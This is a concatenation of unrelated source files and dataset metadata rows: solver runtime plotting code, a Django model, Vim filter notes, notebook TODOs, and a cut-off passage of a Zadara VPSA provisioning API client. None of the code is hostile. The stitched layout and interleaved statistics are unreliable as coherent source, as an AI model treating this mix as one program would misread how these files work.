0.36465497622949045, 0.1555120835829525, 0.15596182429160474, 0.15773525009326972, 0.15523616458171868, 0.15627200620390738, 0.15490147870745577, 0.16110673482437507, 0.15803483457521816, 0.15665480105781893, 0.15538744986978, 0.09446012440030904, 0.08635869766531445, 0.09340652757872406, 0.11026808461003905, 0.08846581922291465, 0.0858667608878445, 0.0890972503211689, 0.08748728692450045, 0.08895441493258288, 0.08697212178141599, 0.05489149257286164, 0.054534665724903265, 0.05750605587594256, 0.06127478372591984, 0.059510127734641226, 0.056205881861872274, 0.05719191196525065, 0.05547731392570334, 0.05933968564921773, 0.05749809534450099, 0.048925685172596114, 0.040482530484296946, 0.04526172803762125, 0.03866403219311061, 0.04147241074946712, 0.047808803753545945, 0.040768702289650634, 0.040996670210275324, 0.044111661287412195, 0.045476705786803115, 0.029498232321387895, 0.031973883873880324, 0.027700076501114935, 0.03140628142523179, 0.029794048096847565, 0.02958292469359943, 0.030974882687423252, 0.03187803595326209, 0.036127602436196095, 0.029402855727949817, 0.022206856480850617, 0.024455029143407758, 0.02639768939470947, 0.022843422393021107, 0.021431189984641084, 0.023043393150148046, 0.025850027406890845, 0.023152131003119174, 0.024701957019918, 0.027261202678849173, 0.021182656588635034, 0.019005105378581057, 0.022991653616036754, 0.01951865947910427, 0.02262594232709078, 0.019370772281639238, 0.02324546446333897, 0.02333159603153818, 0.019872160274365846, 0.022296136614037117, 0.01710731283166516, 0.015027591274151632, 0.01887588037589526, 0.015444799759085689, 0.017785218257312708, 0.017828166413115805, 0.01626164762691492, 0.015724035460357014, 0.015165425582639213, 0.014720113736485347, 0.011285588160096142, 0.01563909424640906, 0.013338498994967479, 0.014959970248704184, 0.013397629677911334, 0.012835432086856126, 0.014346029171582635, 0.01455385279606609, 0.016834939022637024, 0.014194905525915045]}}} # Anaheim #runtimes = {'LP': {1: {'runtime': [8.819199085235596, 8.931231021881104, 9.198647022247314, 9.049000024795532, 9.233559846878052, 9.246891021728516, 9.715091943740845, 9.010208129882812, 8.94880199432373, 9.598966121673584, 9.444629192352295, 12.370179891586304, 9.627487897872925, 9.43535304069519, 9.238444089889526, 9.265305042266846, 9.364979982376099, 12.269610166549683, 10.453030824661255, 8.63782787322998, 11.31310486793518, 10.835222005844116, 11.109218835830688, 10.48481798171997, 11.779940128326416, 10.46428108215332, 11.153151035308838, 10.161095142364502, 10.26271390914917, 10.537185907363892, 12.045116901397705, 11.278517961502075, 11.666469812393188, 11.674306869506836, 11.122169971466064, 11.709968090057373, 11.418941020965576, 12.169534921646118, 11.70580506324768, 12.751988887786865, 12.564107179641724, 12.642711162567139, 13.19152283668518, 13.213988065719604, 11.719444990158081, 12.85425090789795, 11.940578937530518, 12.92873501777649, 13.17766809463501, 14.424949884414673, 13.986560106277466, 14.204921960830688, 12.848905086517334, 13.275711059570312, 13.042317867279053, 12.958899021148682, 13.753017902374268, 14.050463914871216, 13.96142315864563, 13.529983043670654, 13.843760013580322, 14.236900091171265, 13.17681097984314, 16.777519941329956, 14.859724044799805, 15.002279996871948, 14.188091039657593, 15.723197937011719, 14.466987133026123, 22.129581928253174, 15.106815099716187, 14.895503997802734, 15.082242965698242, 14.342534065246582, 14.803077936172485, 14.484352111816406, 14.108675956726074, 15.234786033630371, 15.062662839889526, 15.09120798110962, 14.636214017868042, 14.695044040679932, 15.165472984313965, 17.039310932159424, 22.207768201828003, 15.849395990371704, 15.883806943893433, 15.323033809661865, 17.47440195083618, 15.634785175323486, 16.39602494239807, 18.271584033966064, 25.822402000427246, 16.395766973495483, 18.120180130004883, 26.29943609237671, 24.614130973815918, 15.54957389831543, 24.388474225997925, 16.508579969406128], 'obj': [1646893.6338058654, 1647051.565703245, 1639924.7453816808, 1647051.565703245, 1639924.7453816808, 1640039.5222300456, 1653472.8581004678, 1647442.7659886214, 1643797.438573407, 1639486.2570928256, 1587974.3812104939, 1579813.7229842658, 1593287.0617101088, 1589603.479748652, 1585057.060091166, 1585383.2712131464, 1585383.2712131464, 1581864.504004014, 1586000.5333702087, 1582089.0377302228, 1569090.9728991487, 1572620.6509516737, 1570437.394844557, 1567178.812178297, 1572884.724384618, 1570361.477398438, 1573116.769828286, 1572319.5988703324, 1572505.4098577236, 1567575.4085695494, 1569065.480370295, 1562471.9136721306, 1563483.6007706749, 1562291.9837835378, 1564578.4853863139, 1563246.8833171965, 1567150.3238363743, 1563506.2831607175, 1562196.3994483643, 1568345.2182145112, 1572011.086499773, 1578829.418369563, 1568961.788421258, 1568149.9368957893, 1568525.3685911428, 1571127.7811768393, 1562674.3539256214, 1569745.7892995123, 1575556.9776068404, 1570484.5710029944, 1571140.6916004927, 1573901.8285390616, 1567750.7511487778, 1564271.8736967035, 1567434.5099711472, 1575316.7163504018, 1569444.710243809, 1568376.8812682712, 1569465.7878925337, 1566134.05772783, 1572597.231196259, 1573771.8808122973, 1568958.3805916621, 1572516.883260381, 1567062.197156253, 1566374.8980977316, 1568915.0357096223, 1566483.790523714, 1576033.5861887191, 1566748.6215102475, 1565832.243570385, 1567473.6947388535, 1568211.2479187117, 1570872.5705918758, 1566273.6001781307, 1567139.390241995, 1569825.6466371971, 1564645.5495364347, 1565618.094188821, 1567611.3214024655, 1565734.640767321, 1568573.8812712657, 1568125.7397609565, 1567532.810283982, 1577912.6577236557, 1565438.078575395, 1565594.1201092904, 1568008.1081176014, 1572665.3505592758, 1565053.6491014534, 1568324.0289532994, 1578102.88482725, 1585303.5423854864, 1566181.398652273, 1582520.8384768867, 1573662.3921728788, 1578197.9147629405, 1565943.0804637184, 1578432.6316629667, 1571937.2201313232], 'n': [2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11], 'rms': [0.3654217657905347, 0.36549981207039267, 0.36451390016288165, 0.36549981207039267, 0.36451390016288165, 0.3645081110886194, 0.37257222107133675, 0.36559567629323386, 0.363714065035748, 0.36465497622949045, 0.15629977971672715, 0.1572341729487113, 0.15779761616525584, 0.15667978457280513, 0.1552306623623009, 0.15529393111467027, 0.15529393111467027, 0.15689326741460102, 0.15561323528224547, 0.15596182429160474, 0.09123606271530653, 0.08587594844476475, 0.08540526214631858, 0.08929775756031522, 0.08834904857049346, 0.08769991170861602, 0.08646774699326122, 0.08593703268238875, 0.08635484591194839, 0.0869970332314795, 0.05750936709830699, 0.05373260253564046, 0.05548366288439424, 0.05702378241241522, 0.055098878576361074, 0.05555115958127565, 0.057502430926150365, 0.05491792104243899, 0.05734709422905272, 0.058436072034710726, 0.039828817204446275, 0.04272383277752688, 0.04224446318952647, 0.038637369771191345, 0.047817050826567245, 0.039498158336571186, 0.04316486821640082, 0.0441557407627135, 0.0452771640543538, 0.04359868570106706, 0.03288938811970662, 0.031117572444946406, 0.03270957506302807, 0.033437506891527066, 0.029726744836035244, 0.028744648677566192, 0.03211369052339126, 0.03613230750175102, 0.02792645671831241, 0.03927674864006198, 0.023173585645615564, 0.023676597236154232, 0.02484181235946632, 0.027413856283465363, 0.024883567155307856, 0.025330312447568778, 0.02461647663831132, 0.026753783914977288, 0.026171305738156906, 0.023298809193890654, 0.019359951455485767, 0.01928657132995829, 0.02088109741386831, 0.018067685412244044, 0.02346562793333282, 0.020849358908437678, 0.01758723007867974, 0.020573186709496212, 0.021166931774894975, 0.017085091301875414, 0.017340111915375375, 0.0168401837036512, 0.015632623616295742, 0.017644671024983197, 0.017719792449786574, 0.014301653502525163, 0.014903018645966049, 0.014424990044931802, 0.014887945826703834, 0.015080567456061839, 0.013698221159202321, 0.013007903734747871, 0.0144412441393489, 0.014696931579365514, 0.012748951037242726, 0.01593973643349797, 0.015564896938496515, 0.013517798616523953, 0.012965570320245652, 0.012620960596783365]}}} print(runtimes) algs_dict = {0:'primal spmx', 1:'dual spmx', 2:'barrier', 3:'concurrent', \ 4:'det concurrent', 5:'det concurrent spmx'} dfLP = pd.DataFrame.from_dict(runtimes['LP'][1]) if len(probs)>1: dfQP = pd.DataFrame.from_dict(runtimes['QP'][1]) fig, ax = plt.subplots(2, figsize=(6,4)) sns.lineplot(x='n', y='runtime', data=dfLP, legend='full', label='LP', ax=ax[0]) if len(probs)>1: sns.lineplot(x='n', y='runtime', data=dfQP, legend='full', label='QP', ax=ax[0]) sns.lineplot(x='n', y='obj', data=dfLP, legend='full', label='LP', ax=ax[1]) if len(probs)>1: sns.lineplot(x='n', y='obj', data=dfQP, legend='full', label='QP', ax=ax[1]) for i in ax: i.grid(True) i.legend() i.set_xlim([dfLP.n.min(), dfLP.n.max()]) plt.tight_layout() fig, axs = plt.subplots(figsize=(6,4)) #xlim = [0,2] axs.set_xlim([0, max(dfLP.rms)*1.1]) #axs.set_ylim([min(dfLP.runtime), max(dfLP.runtime)]) sns.regplot(x="rms", y="runtime", data=dfLP, ax=axs, x_ci=95, scatter=False, order=1, logx=True, label='LP', truncate=False) sns.scatterplot(x="rms", y="runtime", data=dfLP, hue="n", palette='colorblind') if len(probs)>1: sns.regplot(x="rms", y="runtime", data=dfQP, ax=axs, x_ci=95, scatter=False, order=1, logx=True, label='QP', truncate=False) sns.scatterplot(x="rms", y="runtime", data=dfQP, hue="n", legend=False, palette='colorblind') axs.grid(True) #axs.legend() axs.legend(loc='center left', bbox_to_anchor=(1, 0.5)) plt.tight_layout() plt.show() '''
165.960976
13,386
0.771824
3,913
34,022
6.670585
0.388704
0.028657
0.031185
0.037775
0.273504
0.256034
0.247644
0.238296
0.233852
0.221745
0
0.711619
0.104197
34,022
205
13,387
165.960976
0.144831
0.011463
0
0.035088
0
0
0.066583
0
0
0
0
0
0
1
0.052632
false
0
0.122807
0
0.22807
0.017544
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
1
1
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
4
3b4bebc3619db0e72c817f6fb4da03adfd675e52
160
py
Python
sourcecode/03/3.2/3.2.1/input.py
ydong08/PythonCode
268f538608917565cdfc8eadbd04101606314c97
[ "MIT" ]
null
null
null
sourcecode/03/3.2/3.2.1/input.py
ydong08/PythonCode
268f538608917565cdfc8eadbd04101606314c97
[ "MIT" ]
null
null
null
sourcecode/03/3.2/3.2.1/input.py
ydong08/PythonCode
268f538608917565cdfc8eadbd04101606314c97
[ "MIT" ]
null
null
null
#!/usr/bin/python # -*- coding: UTF-8 -*- # raw_input() x = raw_input("x:") x = int(x) x = x + 1 # input() x = input("x:") print x x = raw_input("x:") print x
12.307692
23
0.53125
30
160
2.733333
0.4
0.365854
0.329268
0.243902
0
0
0
0
0
0
0
0.015625
0.2
160
13
24
12.307692
0.625
0.3625
0
0.571429
0
0
0.060606
0
0
0
0
0
0
0
null
null
0
0
null
null
0.285714
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
4
3b56f5c5ec4fc45dd456c1e7df0d095ad0e5e1fe
402
py
Python
quick_search/models.py
naman1901/django-quick-search
7b93554ed9fa4721e52372f9fd1a395d94cc04a7
[ "MIT" ]
null
null
null
quick_search/models.py
naman1901/django-quick-search
7b93554ed9fa4721e52372f9fd1a395d94cc04a7
[ "MIT" ]
2
2020-02-11T23:28:22.000Z
2020-06-05T19:27:40.000Z
quick_search/models.py
HereWithoutPermission/django-quick-search
7b93554ed9fa4721e52372f9fd1a395d94cc04a7
[ "MIT" ]
null
null
null
from django.db import models # Create your models here. class SearchResult(models.Model): query = models.CharField(max_length=50) heading = models.CharField(max_length=200, default="No header available") url = models.CharField(max_length=200, default="#") text = models.CharField(max_length=2000, default="No body available") time_created = models.DateTimeField(auto_now_add=True)
40.2
77
0.753731
54
402
5.481481
0.611111
0.202703
0.243243
0.324324
0.22973
0.22973
0
0
0
0
0
0.034483
0.134328
402
10
78
40.2
0.816092
0.059701
0
0
0
0
0.098143
0
0
0
0
0
0
1
0
false
0
0.142857
0
1
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
4
3b5feb736e1f71ef5c1868f1d8f322ac8420ef2b
73
py
Python
wagtail_shell/test/__init__.py
kaedroho/wagtail-shell
cddab026bc3d647c77eac7e31236b662276698af
[ "BSD-3-Clause" ]
1
2021-04-06T22:43:49.000Z
2021-04-06T22:43:49.000Z
wagtail_shell/test/__init__.py
kaedroho/wagtail-shell
cddab026bc3d647c77eac7e31236b662276698af
[ "BSD-3-Clause" ]
null
null
null
wagtail_shell/test/__init__.py
kaedroho/wagtail-shell
cddab026bc3d647c77eac7e31236b662276698af
[ "BSD-3-Clause" ]
null
null
null
default_app_config = "wagtail_shell.test.apps.WagtailShellTestAppConfig"
36.5
72
0.876712
8
73
7.625
1
0
0
0
0
0
0
0
0
0
0
0
0.041096
73
1
73
73
0.871429
0
0
0
0
0
0.671233
0.671233
0
0
0
0
0
1
0
false
0
0
0
0
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
1
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
4
3b7abd1d6623c26a77f2d9b8182407782ccba5bd
1,069
py
Python
demo/filters.py
alexkuang/vim-ll
d97e1ca5e7218f20e46f9f0d4cbb1691df377e7f
[ "MIT" ]
2
2016-01-08T23:33:45.000Z
2018-10-01T21:43:52.000Z
demo/filters.py
alexkuang/vim-ll
d97e1ca5e7218f20e46f9f0d4cbb1691df377e7f
[ "MIT" ]
1
2018-09-30T15:07:14.000Z
2018-10-01T21:43:44.000Z
demo/filters.py
alexkuang/vim-ll
d97e1ca5e7218f20e46f9f0d4cbb1691df377e7f
[ "MIT" ]
null
null
null
# Filters and the expression register are two really cool ways of calling arbitrary code from vim. # Filters are just anything that takes your text via stdin and gives you something via stdout # Filters can be invoked via `!{motion}` or `!` while selecting, and can call arbitrary scripts # Examples with either `!}` or `v}!`: # - !grep cat # - !sed s/dog/cat/ # - !sed s/cat/dog/ # - !echo foo # # This works with arbitrary scripts (do_stuff_to_my_code.sh, print_funny_comment.sh, etc) as well! "The quick brown fox jumps over the lazy dog" "The quick brown fox jumps over the lazy dog" "The quick brown fox jumps over the lazy cat" "The quick brown fox jumps over the lazy dog" # Expression registers are similar but not quite--They are for evaluating arbitrary vimscript expressions. This MAY # include a system() that shells out to something external, but probably not the greatest idea. Like other registers, # you can access the expression register via <CTRL-r>--In this case, `<CTRL-r>=`. # Ex: `<CTRL-r>=1+1<CR>` from insert mode will print '2'
44.541667
118
0.730589
177
1,069
4.378531
0.570621
0.04129
0.067097
0.082581
0.176774
0.176774
0.176774
0.176774
0.176774
0.131613
0
0.003425
0.180543
1,069
23
119
46.478261
0.881279
0.838167
0
0.75
0
0
0.847291
0
0
0
0
0
0
1
0
true
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
1
0
0
1
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
4
3b9c56530afd32dc9ef036787f1888bcd22e624a
187
py
Python
split_path.py
SecTraversl/python_file-and-folder_Tools
f9304d9cd43555baa3c3fc7ef5cc92d0a8a4f228
[ "MIT" ]
null
null
null
split_path.py
SecTraversl/python_file-and-folder_Tools
f9304d9cd43555baa3c3fc7ef5cc92d0a8a4f228
[ "MIT" ]
null
null
null
split_path.py
SecTraversl/python_file-and-folder_Tools
f9304d9cd43555baa3c3fc7ef5cc92d0a8a4f228
[ "MIT" ]
null
null
null
# %% ####################################### def split_path(thepath: str): import pathlib path_obj = pathlib.Path(thepath).resolve() parts = path_obj.parts return parts
18.7
46
0.524064
19
187
5
0.578947
0.231579
0
0
0
0
0
0
0
0
0
0
0.181818
187
9
47
20.777778
0.620915
0.010695
0
0
0
0
0
0
0
0
0
0
0
1
0.2
false
0
0.2
0
0.6
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
4
3b9ea06ec914291c34c32bba83b37c4d246ff120
222
py
Python
api/serializers.py
tarun-chakravarthy/movie-list-api
bf8eac41c133666735483acb730525d683c37fcf
[ "MIT" ]
null
null
null
api/serializers.py
tarun-chakravarthy/movie-list-api
bf8eac41c133666735483acb730525d683c37fcf
[ "MIT" ]
null
null
null
api/serializers.py
tarun-chakravarthy/movie-list-api
bf8eac41c133666735483acb730525d683c37fcf
[ "MIT" ]
null
null
null
from rest_framework import serializers from api.models import ExampleModel class ExampleModelSerializer(serializers.ModelSerializer): class Meta: model = ExampleModel fields = ('firstname', 'lastname')
31.714286
58
0.756757
21
222
7.952381
0.761905
0
0
0
0
0
0
0
0
0
0
0
0.175676
222
7
59
31.714286
0.912568
0
0
0
0
0
0.076233
0
0
0
0
0
0
1
0
false
0
0.333333
0
0.666667
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
4
8e53d332b13ed57c43898313251827155e56db33
134
py
Python
reddit2telegram/channels/r_indiaa/app.py
mainyordle/reddit2telegram
1163e15aed3b6ff0fba65b222d3d9798f644c386
[ "MIT" ]
187
2016-09-20T09:15:54.000Z
2022-03-29T12:22:33.000Z
reddit2telegram/channels/r_indiaa/app.py
mainyordle/reddit2telegram
1163e15aed3b6ff0fba65b222d3d9798f644c386
[ "MIT" ]
84
2016-09-22T14:25:07.000Z
2022-03-19T01:26:17.000Z
reddit2telegram/channels/r_indiaa/app.py
mainyordle/reddit2telegram
1163e15aed3b6ff0fba65b222d3d9798f644c386
[ "MIT" ]
172
2016-09-21T15:39:39.000Z
2022-03-16T15:15:58.000Z
#encoding:utf-8 subreddit = 'india' t_channel = '@r_indiaa' def send_post(submission, r2t): return r2t.send_simple(submission)
14.888889
38
0.731343
19
134
4.947368
0.842105
0
0
0
0
0
0
0
0
0
0
0.026087
0.141791
134
8
39
16.75
0.791304
0.104478
0
0
0
0
0.117647
0
0
0
0
0
0
1
0.25
false
0
0
0.25
0.5
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
0
0
0
4
8e5ce44b1845f475fb10fa8c0c10f7f6eac913ae
51
py
Python
pytorch_points/__init__.py
yifita/pytorch_points
8f12167643cbaf7fb452be99f2f39c28bb9754eb
[ "MIT" ]
33
2019-05-29T13:24:35.000Z
2022-02-03T12:30:08.000Z
pytorch_points/__init__.py
yifita/pytorch_points
8f12167643cbaf7fb452be99f2f39c28bb9754eb
[ "MIT" ]
4
2019-10-09T18:05:42.000Z
2021-07-28T10:48:23.000Z
pytorch_points/__init__.py
yifita/pytorch_points
8f12167643cbaf7fb452be99f2f39c28bb9754eb
[ "MIT" ]
6
2019-05-29T11:35:47.000Z
2021-12-21T03:52:45.000Z
import torch torch.backends.cudnn.benchmark = False
25.5
38
0.843137
7
51
6.142857
0.857143
0
0
0
0
0
0
0
0
0
0
0
0.078431
51
2
38
25.5
0.914894
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.5
0
0.5
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
4
8e85c3cc5e4f7c3b83eef4950f91816519ae4901
63
py
Python
examples/ex_run_scatterload.py
mariusmue/BaseSpec
269e1a6810342cf251acd0102b76b2495c2b3aa8
[ "MIT" ]
29
2021-02-10T06:04:13.000Z
2022-03-21T19:40:57.000Z
examples/ex_run_scatterload.py
mariusmue/BaseSpec
269e1a6810342cf251acd0102b76b2495c2b3aa8
[ "MIT" ]
1
2021-03-02T01:13:40.000Z
2021-03-02T01:13:40.000Z
examples/ex_run_scatterload.py
mariusmue/BaseSpec
269e1a6810342cf251acd0102b76b2495c2b3aa8
[ "MIT" ]
8
2021-02-10T11:19:04.000Z
2021-08-19T08:07:41.000Z
from basespec import scatterload scatterload.run_scatterload()
21
32
0.873016
7
63
7.714286
0.714286
0
0
0
0
0
0
0
0
0
0
0
0.079365
63
2
33
31.5
0.931034
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.5
0
0.5
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
4
8e88dfb91f5aa14920b2d3c706572784127efe99
667
py
Python
notebooks/tomorrow.py
zeou1/maggot_models
4e1b518c2981ab1ca9607099c3813e8429d94ca4
[ "BSD-3-Clause" ]
null
null
null
notebooks/tomorrow.py
zeou1/maggot_models
4e1b518c2981ab1ca9607099c3813e8429d94ca4
[ "BSD-3-Clause" ]
null
null
null
notebooks/tomorrow.py
zeou1/maggot_models
4e1b518c2981ab1ca9607099c3813e8429d94ca4
[ "BSD-3-Clause" ]
null
null
null
# TODO generate new data from michael # TODO run random walks on new data, look for places where things still die. # TODO ask jovo about this issue where later layers are meaningless... # TODO think if it is worth doing commute time... is this even what they want # TODO what about other transformations of the adjacency, like exponentiate synapse thingy? # TODO ask jovo about subclustering the louvain # TODO get the labels for MBONs they keep saying might be okay with breaking off # TODO think - what does exponentiating markov matrix give me... just probability of paths of a certain length? # TODO can we just compare decay spectra for a given neuron somehow?
60.636364
111
0.782609
109
667
4.788991
0.733945
0.02682
0.042146
0.061303
0
0
0
0
0
0
0
0
0.17991
667
10
112
66.7
0.954296
0.970015
0
null
1
null
0
0
null
0
0
0.1
null
1
null
true
0
0
null
null
null
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
1
0
0
0
null
0
0
1
0
0
0
1
0
0
0
0
0
0
4
8eac640e9a645f66c2ac251300e3a0bfc3aa98a7
20,248
py
Python
zadarapy/provisioning_portal/vpsa.py
Stratoscale/zadarapy
9df5cabf5f8f251cdda82024b363f3873e6e764d
[ "Apache-2.0" ]
null
null
null
zadarapy/provisioning_portal/vpsa.py
Stratoscale/zadarapy
9df5cabf5f8f251cdda82024b363f3873e6e764d
[ "Apache-2.0" ]
null
null
null
zadarapy/provisioning_portal/vpsa.py
Stratoscale/zadarapy
9df5cabf5f8f251cdda82024b363f3873e6e764d
[ "Apache-2.0" ]
null
null
null
# Copyright 2019 Zadara Storage, Inc. # Originally authored by Jeremy Brown - https://github.com/jwbrown77 # # Licensed under the Apache License, Version 2.0 (the "License"); you may not # use this file except in compliance with the License. You may obtain a copy # of the License at: # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. from future.standard_library import install_aliases install_aliases() from zadarapy.validators import is_valid_field, verify_positive_argument, \ verify_io_engine_id, verify_zcs_engine_id, verify_cache_argument def get_all_vpsas(session, return_type=None, **kwargs): """ Retrieves details for all VPSAs of the connecting user. :type session: zadarapy.session.Session :param session: A valid zadarapy.session.Session object. Required. :type return_type: str :param return_type: If this is set to the string 'json', this function will return a JSON string. Otherwise, it will return a Python dictionary. Optional (will return a Python dictionary by default). :rtype: dict, str :returns: A dictionary or JSON data set as a string depending on return_type parameter. """ path = '/api/vpsas.json' return session.get_api(path=path, return_type=return_type, **kwargs) def get_vpsa(session, vpsa_id, return_type=None, **kwargs): """ Retrieves details for a single VPSA. :type session: zadarapy.session.Session :param session: A valid zadarapy.session.Session object. Required. :type vpsa_id: int :param vpsa_id: The VPSA 'id' value as returned by get_all_vpsas. For example: '2653'. Required. :type return_type: str :param return_type: If this is set to the string 'json', this function will return a JSON string. Otherwise, it will return a Python dictionary. Optional (will return a Python dictionary by default). :rtype: dict, str :returns: A dictionary or JSON data set as a string depending on return_type parameter. """ if type(vpsa_id) is int: vpsa_id = str(vpsa_id) if not vpsa_id.isdigit(): raise ValueError('The VPSA ID should be a positive integer.') path = '/api/vpsas/{0}.json'.format(vpsa_id) return session.get_api(path=path, return_type=return_type, **kwargs) def create_vpsa(session, display_name, cloud_id, io_engine_id, zcs_engine_id, drives, description=None, allocation_zone=None, return_type=None, **kwargs): """ Submits a request to create a new VPSA. This must be approved by a storage cloud administrator before the VPSA creation starts. :type session: zadarapy.session.Session :param session: A valid zadarapy.session.Session object. Required. :type display_name: str :param display_name: A text label to assign to the VPSA. For example: 'aws_east_master_vpsa'. May only contain alphanumeric and underscore characters. Required. :type cloud_id: str :param cloud_id: The storage cloud (provider) 'key' value as returned by get_all_clouds. For example: 'aws' or 'aws-jp1'. The VPSA will be created on this storage cloud. Required. :type io_engine_id: str :param io_engine_id: The IO engine 'key' value as returned by the 'engine_types' list for cloud_id from get_cloud. For example: 'vsa.V2.baby.vf'. Required. :type zcs_engine_id: str :param zcs_engine_id: The ZCS engine 'key' value as returned by the 'app_engine_types' list for cloud_id from get_cloud. For example: 'tiny'. Can also be the string 'None', which will disable the ZCS engine for this VPSA. Required. :type drives: list :param drives: A Python list of Python dictionaries that defines what type and how many of each type of drive to attach to the VPSA. Each list item should contain a dictionary that defines a 'drive_type' key and 'quantity' key. The 'drive_type' key is the 'key' value as returned by the 'drive_types' list for the cloud_id from get_cloud. For example: 'SATA_2793GB_5940RPM'. The 'quantity' key is the number of drives to add for this type. Every VPSA must have at least two drives. For example, to add two SATA 3TB drives and two 600GB SAS drives, use the following: [{'drive_type':'SATA_2793GB_5940RPM','quantity':2}, {'drive_type':'SAS_557GB_10500RPM','quantity':2}] Please note that the example is not a string, rather a representation of what the "pprint" function might return. Required. :type description: str :param description: A text description for the VPSA. For example: 'Primary VPSA for AWS East'. May not contain a single quote (') character. Optional. :type allocation_zone: str :param allocation_zone: For multizone environments, this parameter specifies that either the VPSA should run in multizone mode, or in a specific zone. If set to None, for multizone environments, multizone will be used; for single zone, the only available zone will be used. If set to a string, that zone will be used. Zone names are listed in the 'allocation_zones' list as returned by get_cloud for cloud_id. For example: 'zone_0'. Optional. :type return_type: str :param return_type: If this is set to the string 'json', this function will return a JSON string. Otherwise, it will return a Python dictionary. Optional (will return a Python dictionary by default). :rtype: dict, str :returns: A dictionary or JSON data set as a string depending on return_type parameter. """ body = {} display_name = display_name.strip() if not is_valid_field(display_name): raise ValueError('{0} is not a valid VPSA name.'.format(display_name)) body['name'] = display_name cloud_id = cloud_id.strip() if not is_valid_field(cloud_id): raise ValueError('{0} is not a valid storage cloud key.' .format(cloud_id)) body['provider'] = cloud_id if 'vsa.' not in io_engine_id: raise ValueError('{0} is not a valid IO engine type.' .format(io_engine_id)) body['engine'] = io_engine_id if zcs_engine_id not in ['None', 'tiny', 'small', 'medium', 'large', 'xlarge']: raise ValueError('{0} is not a valid ZCS engine type.' .format(zcs_engine_id)) body['app_engine'] = zcs_engine_id if type(drives) is not list: raise ValueError('The passed "drives" parameter is not a Python ' 'list.') for v in drives: if type(v) is not dict: raise ValueError('Each item in the "drives" list must be a ' 'Python dictionary.') if 'drive_type' not in v: raise ValueError('The required "drive_type" key was not found in ' 'the drive dictionary.') if 'quantity' not in v: raise ValueError('The required "quantity" key was not found in ' 'the drive dictionary.') body[v['drive_type'] + '_drives'] = int(v['quantity']) if description is not None: description = description.strip() if not is_valid_field(description): raise ValueError('{0} is not a valid VPSA description.' .format(description)) body['description'] = description if allocation_zone is not None: body['allocation_zone'] = allocation_zone # Enterprise suite should always be enabled. body['enterprise_suite'] = 'YES' path = '/api/vpsas.json' return session.post_api(path=path, body=body, return_type=return_type, **kwargs) def delete_vpsa(session, vpsa_id, return_type=None, **kwargs): """ Submits a request to delete a VPSA. This must be approved by a storage cloud administrator before the VPSA is deleted. Once approved by the storage cloud administrator, this action is irreversible. :type session: zadarapy.session.Session :param session: A valid zadarapy.session.Session object. Required. :type vpsa_id: int :param vpsa_id: The VPSA 'id' value as returned by get_all_vpsas. For example: '2653'. Required. :type return_type: str :param return_type: If this is set to the string 'json', this function will return a JSON string. Otherwise, it will return a Python dictionary. Optional (will return a Python dictionary by default). :rtype: dict, str :returns: A dictionary or JSON data set as a string depending on return_type parameter. """ verify_positive_argument(vpsa_id, 'vpsa_id') path = '/api/vpsas/{0}.json'.format(vpsa_id) return session.delete_api(path=path, return_type=return_type, **kwargs) def add_drives_to_vpsa(session, vpsa_id, drives, return_type=None, **kwargs): """ Submits a request to add drives to a VPSA. This must be approved by a storage cloud administrator before the drives are added. :type session: zadarapy.session.Session :param session: A valid zadarapy.session.Session object. Required. :type vpsa_id: int :param vpsa_id: The VPSA 'id' value as returned by get_all_vpsas. For example: '2653'. Required. :type drives: list :param drives: A Python list of Python dictionaries that defines what type and how many of each type of drive to attach to the VPSA. Each list item should contain a dictionary that defines a 'drive_type' key and 'quantity' key. The 'drive_type' key is the 'key' value as returned by the 'drive_types' list for the cloud_id from get_cloud. For example: 'SATA_2793GB_5940RPM'. The 'quantity' key is the number of drives to add for this type. Every VPSA must have at least two drives. For example, to add two SATA 3TB drives and two 600GB SAS drives, use the following: [{'drive_type':'SATA_2793GB_5940RPM','quantity':2}, {'drive_type':'SAS_557GB_10500RPM','quantity':2}] Please note that the example is not a string, rather a representation of what the "pprint" function might return. Required. :type return_type: str 